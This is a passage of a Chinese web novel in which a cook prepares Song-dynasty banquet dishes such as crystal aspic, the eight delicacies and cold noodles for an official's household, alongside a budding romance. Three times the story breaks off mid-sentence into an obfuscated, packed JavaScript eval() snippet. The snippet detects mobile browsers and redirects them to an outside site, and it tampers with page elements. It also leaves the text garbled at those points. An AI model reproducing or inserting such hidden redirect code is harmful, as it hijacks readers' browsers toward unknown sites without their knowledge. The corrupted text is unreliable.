指着十六岁的两个丫头说：“你们两个专管拨弄柴火、挑水，其他的不用管。” 还剩下两个十四五岁的丫头，柳金枝问道：“你们两个谁识字？” 这两个丫头对视一眼。 其中一个眼睛圆圆，脸蛋红红，尚未褪去青涩婴儿肥的丫头怯怯举起手，道：“回娘子的话，奴识得几个字，是奴阿爹教的。” “你叫什么名字？” “奴姓花，叫花吉团。” 柳金枝一笑，点了花吉团过来，道：“好，那你就专门负责帮我核对菜单，每端出去一盘菜，你就在单子上画个圈。” 花吉团乖巧点头。 而剩余的那个丫头，自然就是来回端菜和跑腿传话的。 其余的局长、司长也给丫头们细分了活计。 万事俱备。 嬷嬷道：“今个儿下午宾客们就要过府开席，现在该是诸位忙活的时候了！” 24. 皮冻水晶脍 时间紧，任务重。 众人几乎是立即分散。 柳金枝带着花吉团等六个丫头直奔膳房。 比起柳家旧宅的膳房，司□□的膳房又大又整洁又气派，光是灶台就开了四五个，各种厨具还细分小锅、大锅，砂锅、铁锅……简直要叫人挑花眼。 柳金枝挑了口双耳铁锅架在灶台上，菜蔬局的局长就带着两个身形魁梧的粗使婆子，挑着两三担菜蔬，并一水盆的鲜鱼，和各类鲜肉走了过来。 “柳娘子，这是我菜蔬局今日送的第一拨菜，请过目。”菜蔬局局长福身道。 柳金枝连忙上前清点。 确认无误之后，双方交接对账，签字画押。 柳金枝转过头对专管洗菜、摘菜的两个丫头吩咐道：“快去将这些菜蔬洗了，再去挑两口青花瓷底的亮堂盘子。” 她第一道菜要做的是“皮冻水晶脍”。 这道菜可谓是宋朝腊月份的必备菜品，无论是高门大户，还是平民百姓，都对此情有独钟。 然而水晶脍到底是什么？ 是水晶吗？ 不是。 它是一种如水晶般晶莹剔透的菜肴。 做法不算难，可就是极其耗费功夫。 柳金枝在菜蔬局送来的一众菜品之中挑挑拣拣，挑出来一块儿品相上好、新鲜肥美的猪肉。 “水开了没？”柳金枝问。 专管烧火的丫头道：“回娘子的话，已经滚了。” 柳金枝点点头，将猪肉简单洗净血水后，放到滚水里泡透。 沸腾的开水将猪肉整个吞没，尚带有一两丝血色的肥肉由鲜嫩模样逐渐褪色，表面的猪皮朝两头翘起，似是卷了起来。 眼瞧着时候差不多了，柳金枝拿过铁笊篱将猪肉捞起来，反扣放于砧板上。 热气蒸腾之下，一股浓厚的，略带臊气的猪味儿扑鼻而来，间或夹杂着的还有一股未掺杂任何调料，原汁原味的熟肉香气。 这种肉被称之为白肉。 有口味独特的食客就好这一口，不加盐以及任何调料，单单用白水煮熟就能吃。 不过柳金枝煮这猪肉不是为了吃，而是为了脱毛。 猪毛难脱，特别是哪些小细毛，在生肉状态下更是难刮。 所以有经验的膳工都会选择把猪肉煮熟，沸水浇灌之下，这些细小猪毛就变得稀软易脱落。 柳金枝拿剔骨刀利落下手，将细毛脱了个干净。 再片掉肉身上多余的肥膘，将其切成长条，放到加满凉清水的盆里浸泡。 “端两个蒸笼来。”柳金枝招呼两个跑腿的丫头。 那两个丫头生的手大脚大，干活十分利落，不一会儿就从膳房里头翻找出一只三层加盖的大蒸笼，两人合力架在了喷火似的燃烧的灶眼上。 柳金枝取下盖子，将水盆放入蒸笼的最上头。 这一步就是要借助滚烫的蒸汽把猪肉蒸到化掉。 但要想达到这个效果，即使是放在最顶层，也需要足足一个时辰。 在这个过程中，柳金枝让一个管火丫头看着火，自己去库房里头翻出了条干净纱布，以及各色调料一麻袋，都提到膳房来。 宋朝人做鱼冻是很有一手的，他们在将肉蒸化之后，可以通过撇去脂肪的多少，来控制皮冻水晶脍的透明程度。 脂肪撇的越多，水晶脍就越晶莹剔透。 如果想要追求如水晶般毫无杂质的透亮模样，就将脂肪全部撇去。 若把一道水晶脍做到极致，据说可以媲美稀世水晶，光泽万丈，莹润无比，好似涎玉沫珠。 当然，这只是古人的夸张说法。 柳金枝在钻研宋代美食食谱之后，认为如果水晶脍能做到如素海蜇皮一般剔透明亮，就已经能算最好的水晶脍了。 在反复往锅中加了三道水后，一个时辰已过。 两个烧火丫头把蒸笼盖子打开，合力搬出水盆。 那水盆已经被蒸的滚烫无比，甫一拿出，就在春寒料峭时节吞吐着大量白色滚烟蒸汽，模糊人的视线。 一众丫头赶忙拿手去扇。 拨开浓雾，方才见水盆里头的猪皮大部分都已化尽，成了半清不浑的肉汤，还剩下一些怎么也蒸不化的老皮，尚且或浮或沉埋在肉汤之中。 柳金枝拿出事先准备好的，网孔细密小巧的铁笊篱，将这些老皮碎肉全部捞出来扔掉。 再将整水盆的肉汤端起来，倾倒入第三口灶眼上架着的铁锅当中。 这回就不用大火烹煮了，只需小火慢炖。 一边炖，一边再用小铁笊篱将时不时顺着滚烫水泡冒出头的杂质捞出、扔掉。 如此重复这个过程大约半个时辰，就可以停火。 这时候肉汤虽然彻底没有了杂质，可依旧浑浊。 于是柳金枝让那两个烧火丫头连同自己一起端起铁锅，将锅内肉汤倒入早就布置好的细纱布中过滤。 过滤过的汤汁顺着细纱布流入洗干净的水盆中。 等到铁锅内的最后一滴肉汤也倒完，白净的纱布上已经停留了一层看起来肉渣不像肉渣，黏黏腻腻的褐色肉泥状的东西。 这些就是被过滤掉的猪肉脂肪。 水盆里的肉汤已经变的干净清澈了。 这时候，柳金枝叫丫头把她要的，一口青花瓷底的亮堂瓷盘拿过来，将水盆里的肉汤倒入瓷盘之中，任由它自然冷却。 若是天气稍微暖和的时候，这般冷却时间差不多要半日。 但现下春寒料峭，正是凛冬将去未去之时，这皮冻的冷却速度更快，只消得一两个时辰，就已经冻成了形。 像一块倒扣于盘上的凉粉。 有好奇的丫头蹲下来从这皮冻的左边往右边看，却发现她的视线可以轻而易举的穿过皮冻，看清对面事物，不由面露惊奇之色。 果真是玲珑剔透，如珠如琉璃。 其实此时皮冻水晶脍还没完全做好，还差最后一步—— 由柳金枝这个司长亲自操刀，将这块皮冻切片摆盘。 可千万不要小瞧了这一步，因为这是对膳工刀法的极大考验。 若是切得厚了，淋上料汁时就无法入味。 若是切得薄了，食客用筷子一夹就散，无法入口，既影响口感，又影响卖相。 柳金枝甩了甩手腕，放松了一下，才谨慎地操起刀，对着皮冻切去。 一片、两片、三片…… 柳金枝的手稳的不可思议，以至片下来的每一片切片，都恍若水晶一般静静躺在盘中。 府内虽宴请的客人不多，但也有十桌。 因此，柳金枝需要切出十盘皮冻水晶脍出来，而且最好是大小、薄厚都无甚差别。 但这怎么可能做到？ 只是柳金枝从容沉稳，好似胸有成竹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15504589|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，这般自信感染了其他人，叫膳房里的丫头们，送菜来的伙计们，都不由屏住呼吸，紧紧盯着柳金枝的动作。 当最后一刀落下，柳金枝的手腕极富技巧性地一抖，将一片薄厚均匀的水晶脍飘然送入盘中。 十盘水晶脍切好，形状、大小、薄厚几乎一模一样！ 在场众人不禁发出一声小小的惊呼：“柳娘子真神了！” 但是柳金枝依旧稳住表情，将食盐、米醋、芥末和花椒油伴在一同精心调制，淋在这十盘一模一样的水晶脍上。 当料汁缓缓渗透进水晶脍身的时候，柳金枝又从菜篮中寻出几朵青葱香菜，掐来叶尖，点缀似地摆放在每盘水晶脍的最上头。 青翠欲滴的颜色、晶莹剔透的水晶脍身，再映衬着盘底的青白花瓷，以及亮晶晶的料汁。 这皮冻水晶脍简直看的人食指大动。 思及离下午的宴席还有一段时间，柳金枝叫来两个小丫头，将这十盘水晶脍端起来，暂时放在院子里的雪堆上去。 因为水晶脍虽然华丽精致，却不好保存，温度一高就容易融化。 为了让宴席上的所有食客都吃到最新鲜的水晶脍，柳金枝不得不利用现在的天气，让这个天然的大冰箱帮忙冻住水晶脍的鲜味儿。 柳金枝露了这一手，那些丫头们个个佩服又敬畏，像是端珍宝一样，将这十只青花瓷盘子端去了院子里。 十个人成一行，鱼游入海般成一条直线出了膳房门。 却不想这般景象正好叫几位远从游廊下走来的郎君瞧见。 其中一位穿墨青长袍，外批玄色大氅，眉眼俊美的男子笑道：“李兄，你家做膳倒是有趣儿，怎得把这些盘子都摆在院子里？我从未见过。” 被唤作李兄的人耐心解释道：“长姐近段时间饮食不振，只爱一位膳工娘子的手艺，因此求了母亲让她入府做厨司。那位娘子从民间来，想必是有些我们不知道的手艺。” “原来是这样。”柴靖略略点头，“民间确实有诸多高手，我夫人孕期不思饮食，却独独爱吃一处民间饭馆的鱼。” 又扭头看向身边一位金质玉相般的年轻郎君，“霁景，不如咱们在宴席散后再去那蔡氏饭馆一趟吧，你阿姐近日来又想着吃鱼了。” 傅霁景点点头。 李兄则道：“往日二郎埋头苦读，整月都不见得出门一步。怎得如今春闱临近，反倒肯出门了？” 傅霁景温和笑道：“苦读不过是为了将书本读透，一切条理烂熟于心。如今春闱临近，人心躁动，再埋头苦读反而无益。不如趁着末冬景色出门行走，权当舒展心胸，说不定更好。” “确是这么个道理。”李兄笑着拱手，“往日老师总赞二郎的文章‘文质无双，风骨凛然’，尔今二郎又不急不躁，从容雅致。若我不提前预祝二郎榜上有名，一举夺魁，倒显得我有眼无珠了。” 这话打趣味儿甚浓，几人都是一笑。 傅霁景笑意克制轻微，眉眼温和。 只是余光之下，他却瞥见有一抹熟悉的影子一闪而过。 下意识抬起眼眸瞧去。 只见一少女低头钻出膳房，身姿纤细窈窕，眉眼清丽动人，一双眼眸清亮有神，红扑扑的两颊，显得无比鲜活生动，好似生机盎然，气血满满。 “你等下！”少女嗓音脆生生的，带着嗔意，“我要的八个厚胎黑釉素瓷碗碟怎得还不拿来？” 25. 八味珍馐 被柳金枝问到的丫头赶忙道：“回娘子的话，台盘司的司长娘子说，有几位好茶的宾客已经过府坐下了。府上但凡一些好的厚胎黑釉素瓷碗碟，都被台盘司的呈上去，供这几位宾客斗茶去了。” 都说唐人煮茶，宋人点茶，今人冲茶。 宋朝人对点茶的热爱绝不逊于对美食的喜欢。 茶、茶碗、点茶师傅。 都有很高的要求。 今人大多喜欢一些胎薄、釉白、半透明的浅口小茶碗，觉得更显风雅。 但宋人偏偏爱一类从建州窑出产的胎厚、釉黑、造型古朴，看起来十分笨重的高口茶碗。 因为这类茶碗耐高温、导热满，特别适合点茶。 而且宋朝最好的茶汤都是乳白色，用黑釉碗，才更能显出茶汤的乳白，也更能凸显点茶师傅手艺的高超。 可是柳金枝接下来要做的这道“八味珍馐”，也要用到黑釉碗。 这下可糟了。 柳金枝挠挠头，正想亲自去与管家嬷嬷商量，支一笔银子去外头临时买八个黑釉碗回来，一扭头，却见一名眉眼俊逸温和的年轻郎君站在廊下，正拢袖而立，浅笑晏晏地瞧着她。 “傅、傅……恩人？”柳金枝磕巴了一下。 她倒是没想到居然能在司□□的宴席上看见傅霁景。 但转念一想，傅霁景身份贵重，能出现在这里也不奇怪。 傅霁景对柳金枝叉手一拜，歉意道：“吓到柳娘子了，是在下唐突。” 柳金枝摆摆手，觉得傅霁景好似客气的有些过分。 “唔……”傅霁景沉吟了一下，慢吞吞地开口，“上次在船上得蒙娘子做了半个月的吃食，却未能当面致谢，还望娘子莫要见怪。” 柳金枝颇为尴尬地笑笑。 心想这都是上上个月的事儿了，傅霁景倒不必记得这样清楚。 而且这半个月她做菜用的是傅霁景的食材，最后还得了傅霁景三两银子，怎么算，都不能说是傅霁景失礼吧。 便道：“傅恩人当真不用这样客气，我也只是报恩。” 她现下一门心思担忧着那八个碗碟呢，倒没有时间和傅霁景在这里搞这套‘你谢我，我谢你’的繁文缛节。 也就快速开口：“恩人，膳房油烟很重，会熏到你的，不如往前堂去，哪儿雅致，是恩人该去的去处。” 毕竟他俩身份一个天上，一个地下。 站在一起聊久了不合规矩，也对柳金枝不太好。 柳金枝对傅霁景福身一礼，转身便走。 这般毫不犹豫，怕是不一会儿就要像那天一样没影了。 傅霁景不由抿了抿唇瓣，缓缓道：“……其实，我手中就有一套厚胎黑釉碗碟。” 柳金枝：？？？ 虽然现在去找管家嬷嬷支银子买也来得及，但买哪儿有顺手快？ 柳金枝果断道：“多谢恩人，请问碗碟在何处？” 傅霁景对一名家仆耳语几句，不一会儿，杏安就将成套的碗碟送来了。 见是这碗碟是要给柳金枝的，杏安喜得就快跳起来了。 不仅叉手见礼，还殷勤地要把碗碟送进膳房里去。 笑道：“柳姐姐，许久不见了。想必是食摊生意不错，这会儿都是司□□的厨司了。” 对于杏安，柳金枝倒敢说话一些，笑道：“还要多亏了杏安小哥给我介绍了应天爵，等我忙完这一阵，请小哥到我食摊上去吃夜市。” 二人一前一后进了膳房，傅霁景犹豫了一会儿，却也跟着进去了。 杏安问道：“柳姐姐，你做什么好吃的，要用八个厚胎黑釉？” “八味珍馐，又叫八珍。”柳金枝一笑。 杏安不明觉厉，问：“哪八珍？” 柳金枝尚未回答，站在一旁的傅霁景倒是温和开口：“想必是淳熬、淳母、炮豚、炮牂、捣珍、渍珍、熬珍、肝膋。” 没想到傅霁景居然愿意进膳房，不都说君子远庖厨么？ 柳金枝略微惊讶。 这个傅二郎，怎么跟她刻板印象里的古代男人都不一样？ 杏安讶然道：“这八道菜我听都没听过。” “你自然不会听过，因为江湖故老相传，这八珍乃是周天子所食之物，平常人难得一见。”柳金枝解释道。 周天子所用的八种美味，在中华美食史上赫赫有名。 作为对每一种美食都要钻研到底的厨子，柳金枝在现代就琢磨过这个八珍该怎么做。 现在刚好派上用场。 “难怪柳姐姐要用专门的盘子装呢。”杏安恍然大悟，“原来是这菜很有来历。” 厚胎黑釉瓷盘古朴厚重，其风格正好适合周天子那个以礼为重的时代。 好盘配好菜，这才叫相得益彰。 因为时间紧急，柳金枝也没跟傅霁景和杏安再客套，礼貌性将二人请到一边之后，就直接撸起袖子干活。 八珍第一味“淳熬”，就是熬肉酱，再把肉酱铺在白米饭上，做成盖浇饭。 其实也就是说，现代每一个点了盖浇饭外卖的朋友们，吃的都是古代的八珍之一。 这么一想，会不会觉得吃饭都有干劲多了？ 柳金枝认真挑了块五花肉出来，手腕一转，闪着寒光的剔骨刀就将这块五花肉切成了肉沫。 其动作之干净利落，叫旁边的杏安忍不住瞪大双眼。 傅霁景没说话，却也是抿了抿唇瓣，一眨不眨地看着柳金枝动作，双眸亮亮的。 不过柳金枝没时间分他俩一点视线，切完猪肉后，她抿紧唇瓣，将花椒油倒入一口双耳铁锅之中，又吩咐丫头加大火力。 受到火舌的刺激，锅中花椒立即油滋滋作响。 更有油星噼里啪啦地从油锅里跳出来。 杏安离得近一些，当下被炸的吱哇乱叫，赶紧跳远了些。 再看柳金枝依旧面色平静，长柄圆勺子一舀，就将切好的猪肉沫舀来大半，洒入油锅当中。 也不知是不是火过大的原因，当肉沫入过的瞬间，灶眼口忽然“轰”一声，喷出一条高达三丈的火舌，几乎直冲房梁。 所有人都被吓的一跳。 柳金枝倒是面无表情地那拿一条湿毛巾扣住铁锅的耳朵，长柄勺一抡，就将铁锅翘起来，动作大开大合般翻炒。 猪肉沫就在这般火力和翻炒之下，被迅速炒出颜色。 再撒入一定量的葱花、蒜末，继续大火力翻炒。 一股鲜香的肉味儿开始在膳房内蔓延。 “铛铛铛——” 柳金枝敲了敲圆头锅铲，将之靠在灶台上，伸手取来调料瓶。 一勺豆瓣酱、一勺甜面酱、两勺生抽、一勺蚝油、一勺老抽再加一勺白糖，通通倒入火辣辣的锅中。 继续大力翻炒。 “减火！”柳金枝言简意赅。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15508442|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 看火丫头立即点头应是，将一根根烧得正旺柴火抽出来，埋入灶台下头的草木灰中。 火势顿时减小不少，铁锅也稍显安静起来。 柳金枝趁机抽手出来，取来淀粉放入碗中，再加清水搅拌均匀，做成半碗淀粉水，一倾手，尽数倒入铁锅之中，用锅盖盖实。 “盯着火势，一直熬，熬到肉酱粘稠为止。”柳金枝嘱咐看火丫头。 丫头小鸡啄米般点头。 于是柳金枝转身再去准备第二道珍味“淳母”。 其实杏安有心和柳金枝搭话，但看柳金枝一道菜接着一道菜的做，忙的脚不沾地，也就歇了心思。 “二郎，咱们前头去吧。”杏安凑上去嗅了嗅傅霁景的衣袖，“正好前头有一处暖厅，二郎沐浴更衣一番，免得身上带了油烟味儿，在大人们面前失礼。” 傅霁景沉默片刻，拢袖正色道：“好，我马车上有一套墨色云纹的袍子，你替我拿来，我在暖厅等你。” 杏安点点头，一溜烟儿往外跑去了。 傅霁景则是往旁边挪了两步，找了处不妨碍他人的干净地方，站定之后，继续看柳金枝做菜。 柳金枝垂着眸准备吃食，神情专注认真，白嫩嫩的清丽小脸上，长而翘的睫毛乌黑浓密，偶尔一眨眼，宛若一只翩飞的蝴蝶。 傅霁景耳尖微红，不再去看她，只去瞧她手上动作。 却发现柳金枝纤手白皙，骨量匀称，修剪圆润完好的粉色指甲按在一块鲜牛肉上。 似是牛肉颇为滑手，她手上微微用力，手背显露出几条浅而细小的青筋，却也越发衬出她纤手骨节分明。 傅霁景忍不住眨了眨眼，再度把视线往下压。 可是再往下，就只能看见一口正在咕噜咕噜冒泡的汤锅了。 但傅霁景好似松了一口气一般，紧紧盯着汤锅不放。 柳金枝不经意抬头一看，不免疑惑又惊讶。 “唔……” 她思考片刻，取出一柄圆头锅铲，又从大蒸笼里盛了小半碗米饭，将之前熬好的浓稠熬淳肉酱盖在饭上，又烫了几颗硬挺小青菜做点缀，端着朝傅霁景走去。 看着被递到眼前，喷香的盖浇饭。 傅霁景一时没反应过来，迟疑道：“给我的？” “嗯。”柳金枝眉眼弯弯，笑容清亮，“饿了可以先垫垫肚子。” 傅霁景耳尖更红了。 伸手接过来，小声问：“你先给我盛一份，会不会不合规矩？” “当然不会。”柳金枝大大方方地一摆手，“膳房里头膳工最大。在不影响主人家用膳的情况下，是可以给自己人盛些饭食的。以前不少膳工都这样做过。” 自己人呐…… 傅霁景点点头，向来温和从容的脸有些发红。 柳金枝仰着头仔细看了看，关心道：“恩人，我都说膳房油烟重，不是你应该待的地方。你瞧，脸都憋红了。不如你还是去前厅吧。” “……哦。” 傅霁景慢吞吞地抱着盖浇饭往外走。 走两步，又回头看看。 可惜柳金枝又一头投进了如火如荼的做饭事业，青丝微乱，热汗顺着红扑扑的脸颊往下滑。 她却只抬起胳膊随意一擦，目光极为认真专注的盯着汤锅，眸光一瞬不错。 但是就是这样一个跳出于规矩礼仪之外的人，却有着他从未见过的鲜活动人。 26. 凉饼（冷面） 经过一整个上午的忙碌，柳金枝将菜单上的东西都做了个七七八八。 只有炮豚和炮牂还没好。 因为这两样一个是烤小猪，一个是烤羊羔。 据古籍记载，这两样东西要烤上个三天三夜才能入口。 但这也是夸张写法，其实烤两个时辰就够了。 只是两个时辰后，宴席怕是要接近尾声，这时候再上烤肉一类，怕是有些油腻了。 她想了想，还是决定做凉饼来解解腻。 凉饼就是冷面。 对，没错，就是现代东北菜馆里必定有的一道“东北冷面”。 据说当面食在汴京流行起来的时候，引得无数官员竞折腰。 其中，大名鼎鼎的奸臣蔡京甚至专门去学了这门做冷面的手艺。 学成之后，还动不动就邀请官员们上门吃他亲手做的冷面，以此拉拢人心。 有这位大奸臣在前做示范，柳金枝并不担心自己做的冷面会不受欢迎。 她取来司□□专供的精细面粉，倒入清水和面。 现下到了时辰，宾客们已经陆陆续续入府了。 宴席大概要持续两个时辰。 柳金枝现在揉面，再醒面，有把握在宴席结束之前把面饧到又透又光，这样才能抻出又圆又细又劲道的好面。 就在这时，外头负责摆盘送菜的丫头疾步走了进来。 “柳娘子，宾客们已经到齐落座，嬷嬷说可以上菜了。” 柳金枝点点头，扭头唤道：“团子，去核对菜名。” 早就准备好的花吉团点点头，立即快步走上来，引着一众端菜丫头去落雪院子里。 一面走，一面介绍：“这是娘子做的第一道菜，皮冻水晶脍……” 穿着青绿褙子的丫头们端着菜盘，莲步轻移，鱼贯而入般进入宴客厅。 此处廊外、廊下、厅内已经摆有十张檀木圆桌，桌边围着坐着七八名或年轻，或年长的郎君、相公，言笑晏晏，互相点头致意。 傅霁景坐在宴客厅内的宴客桌，左手边手边就是今日做主宴客的李家大郎君，主位坐着的就是李司正。 右手边坐着的是柴靖，他性情随意，倒不在意一般的繁文缛节。 在他人互相举杯致意时，唯有他百无聊赖般看向傅霁景，挑眉道：“霁景，你怎的换了一身衣裳？” “哦，这个啊……”傅霁景声音温和，“是我不小心弄脏了衣角。” “你还是这样讲究。”柴靖啧啧摇头，“衣食住行都要做到不染纤尘，但你怎么换了一身玄色衣裳。” “怎么？”傅霁景愣了一愣，“可是我坏了哪儿的规矩？” 他似乎没听说过司□□做寿的时候，不许人穿玄色衣裳啊。 岂料柴靖伸出一根手指头来摇一摇，道：“你才十八岁，衣裳的颜色却不是玄色，就是灰色，忒规规矩矩了，像个古板的老学究！就是老师及艾之年都不这么穿。” 似是没想到柴靖要说这个，傅霁景松了一口气的同时，不由笑道：“只是衣裳罢了……” “诶，可不能小瞧衣裳的作用。”柴靖打断他，指指自己，“钗华说了，见衣如见人。像我这般年轻的郎君，就该穿些鲜艳些的颜色。否则太过沉闷，叫人家一见就心生畏惧，反而不好处关系。” 钗华便是傅霁景的长姐。 不好处关系…… 不知是想到了什么，傅霁景顿时面露沉思。 “嗐，要我说，真该有个活泼开朗些的人带着你，免得小小年纪，就过得这么沉闷。”柴靖笑嘻嘻，“毕竟现在钗华只顾得上替我置办衣裳了。” 话语里倒有几分得意。 旁边的杏安听着，倒觉得柴姐夫净说些歪理。 可低头一看。 往日一向不理会自己服饰颜色的傅霁景，居然主动往柴靖那边凑了凑，满眼请教，似乎真想知道什么才是“能衬出郎君风采的颜色衣裳。” 杏安不由扶额。 恰好此时，有端菜的婢女此刻将那盘“皮冻水晶脍”呈了上来，放在桌心。 旁边有人奏乐，齐声道：“起箸！” 宋朝宴席都是有讲究的。 两遍酒，两遍菜，间错着来。 若是不小心缺了哪顿酒，哪筷菜，吃不到饿着肚子是小事，失了规矩就是大事了。 因此柴靖没再跟傅霁景说下去，只顺着唱和人的声音伸出筷子，夹了一筷子水晶脍到自己面前。 往日柴靖参加过很多次大府宴席，吃的好东西多了，嘴自然也养得叼些。 对于司□□的饭菜，虽然李兄夸奖了一番，但柴靖以为再好吃，也好吃不到天上有地下无的程度。 不过…… 柴靖仔细看着筷子里夹而不散的水晶脍。 这个卖相倒是不错，是御厨都比不上的手艺。 适逢唱喝人又高声道：“进——！” 柴靖张口吃了下去。 十张宴客桌上的大小官员老爷们也张口吃了下去。 刹那间，有人惊艳地瞪大了眼，有人微微顿住。 柴靖忍不住抖了一下，盯向桌心那盘还剩六七片的水晶脍，下意识就想去夹第二筷，但眼瞅着这么多人，又忍住了。 可往周边一看，不少官员、老爷还在十分斯文的细嚼慢咽，一双眼睛却紧紧盯着桌心，握着竹箸的手蠢蠢欲动，似乎知道这六七片水晶脍不够场上所有人分，他们得加紧下筷才能抢到一片似的。 柴靖深吸一口气，耳边注意着唱喝人的声音，紧张得一颗心脏扑通扑通跳，手心里出了好些汗！ 下一秒：“二进——！” 桌上七八人同时下箸，一双手迅疾如闪电，矫健似游龙。你叉我，我推你，磕绊在瓷盘上，顿时一阵叮叮当当响。 柴靖抢到半片水晶脍，喜得两眼发亮，喜滋滋地用竹箸夹到自己面前，赶忙一口吞下。 其余稍逊一筹的官员不由得懊恼叹口气，羡慕般地悄悄看周边人吃的津津有味，不由咂咂嘴，好似又回味起水晶脍又凉又鲜的好味道来。 进完菜，就是进酒。 酒喝完，丫头们恭敬谨慎地小步上前，将桌心的空盘子撤下来，再补上一道新菜。 趁着这空档，柴靖对傅霁景道：“这位民间来的膳工娘子手艺当真不错！我估摸的钗华也爱吃，不如将这位娘子请到家里去？” 傅霁景眸光闪动，却道：“但柴大人先前已经拨了两位膳工来照顾阿姐了，再加上家里的两位，若是再请，规制就要越过亲王了，怕是不妥。” “这有什么难的？”柴靖满不在意，“我母亲近来要下庄子小住，正好缺一个膳工，咱把家里那四个拨一个出去，不就好了吗？” 傅霁景眼眸一亮，却垂眸温声道：“姐夫说的极是，自当依姐夫所言。” 此时又上了第二道菜，柴靖乐呵呵地回转过去，去盯那道“熬淳”了。 傅霁景倒是有些心不在焉，虽是也不耽误礼仪流程，目光却是频频往自己衣裳上瞟去。 所以他该换身什么颜色的衣裳呢…… 一晃天边金乌渐落，已是黄昏时分。 血色的残阳余晖落在庭院假山流水之上，仿佛给所有事物镀上了一层淡淡的红金之光。 而桌上的八味珍馐也已经上了六道，此时正是第七道炮豚。 被小火慢烤到表皮油焦酥脆的小猪崽趴在古朴的瓷盘之中，旁边摆放着小刀和辣椒小碗。 小猪腿肉的部分已经被片了出来，一片片渍渍冒油的肥厚腿肉靠在一起。 李司正夹起一片油光腿肉，避开胡须喂进嘴中，细细咀嚼，可以品出这鲜嫩有嚼劲的肉香之中，又蕴含着一丝极淡雅清新的果木香。 便知道这膳工是特意用了荔枝树的树干去烤这小猪，不由吃的极愉悦满足，眼睛都舒服地眯成了一条缝。 旁边有大人看着这厚胎黑釉盘，忍不住捋着胡须夸赞：“不错，用黑釉瓷盘装盛八珍，古朴厚重，颇有巧思。” 另有人符合道：“老夫也是许久没有尝到这般滋味了，怕只有那樊楼的膳工能与之相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15519800|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 较。” “那必然是位名膳工，这浇手的费用恐怕不低啊。” “今日你我若不是在李大人处用膳，不知要耗费多少银钱才能用到此等饭菜。” 意识到这桌宴席吃的全是真金白银，不免有人向李司正拱手，笑道：“多亏了李大人费心，才让我等能够享受一番人间至味。” “是啊是啊，真叫李大人破费了。” “多谢李大人了，也是李大人出手阔绰，才叫咱们也跟着沾光。” 众人你一句，我一句，句句夸奖的中心都不离“果然是李家，就是有钱！”这一点。 李司正本就好面子，否则也不会花大价钱来给老爷子办寿宴。 如今一听，不由得通体舒畅，好似泡了一夜的温泉水，连皱纹都舒展开了。 “嗐，我李某人向来重情义，不重金银。只要诸位同僚用的高兴，便是破费一些又有何妨？” 说到此处，他似乎觉得就这么简单说两句，还不能完全体现他的豪气，便大手一挥，道：“大郎，告诉你母亲，这位膳工娘子手艺不错，赏钱再加三成，提成二两银子！” 二两！ 要知道偏远地区的县令一年的俸禄也不过十贯！ 这一下，众人更是又惊叹又夸赞，又叹服又拍手，简直让李司正长足了脸面。 而远在膳房里头忙活的柳金枝还不知天降横财。 “阿嚏——！” 柳金枝揉揉鼻子，满面狐疑。 怎么？有谁在咒她不成？ “柳娘子，你怎么了？”花吉团关心的问。 柳金枝摇摇头，道：“没事儿，可能是冷风吹的我激灵了一下。对了，菜名对的怎么样了？” 花吉团一笑：“前头已经把第七道菜吃的差不多了，现下就要上第八道。吃完后，就可以把凉饼端上去了。” 柳金枝闻言，走到面盆前掀开纱布细看。 发现正好面性已经发到饱满，就道：“既然如此，再去给我找十只薄胎白釉宽口瓷盘来。” 花吉团甜声应下：“诶，我这就去。” 柳金枝则将面盆倒扣于案板上，将里头的面团一点一点扒拉出来，再逐个揪拽成小块，然后放在手里搓拉抻长。 为了防止面团黏在案板上，她还要时不时地从袋子里搂些面粉出来，均匀撒在面团上，再揪住两头，把握力道，上上下下，摔打在案板上。 不一会儿，一整根粗面团就成了两股细面，紧接着两股变四股，四股变八股，八股变十六股…… 等到面被抻到又细又圆之时，她再利落掐断头，将长面甩进早就预备好的滚水当中。 柳金枝前世的时候最喜欢吃兰州拉面，不是因为兰州拉面的汤底有多香，而是因为兰州拉面的面食都是师傅亲手揉出来的。 这种面比之速食面更加劲道弹牙有嚼劲。 将心比心，柳金枝做面食时也会亲手揉面，再将面团簌簌地抻细。 既然要吃美食，自然就要做到极致。 面条下锅煮熟后，柳金枝用铁笊篱捞起来迅速过一遍凉水，浇上卤汁，铺上辣脚子、小酱瓜、两半煮熟剖开的鸡蛋，以及一把香菜等菜码儿。 就转手交给花吉团，叫她安排人火速端上桌。 冷面好吃，却容易坨。 所以方一做出来就入口是最好的。 但十桌人，有不下四十位宾客，这就要考验柳金枝的速度，以及她的待客情商了。 毕竟一碗一碗端出去，总有宾客在等待。 如何安抚尚未得到冷面的客人们呢？ 柳金枝早就想好了办法，对着花吉团点点头。 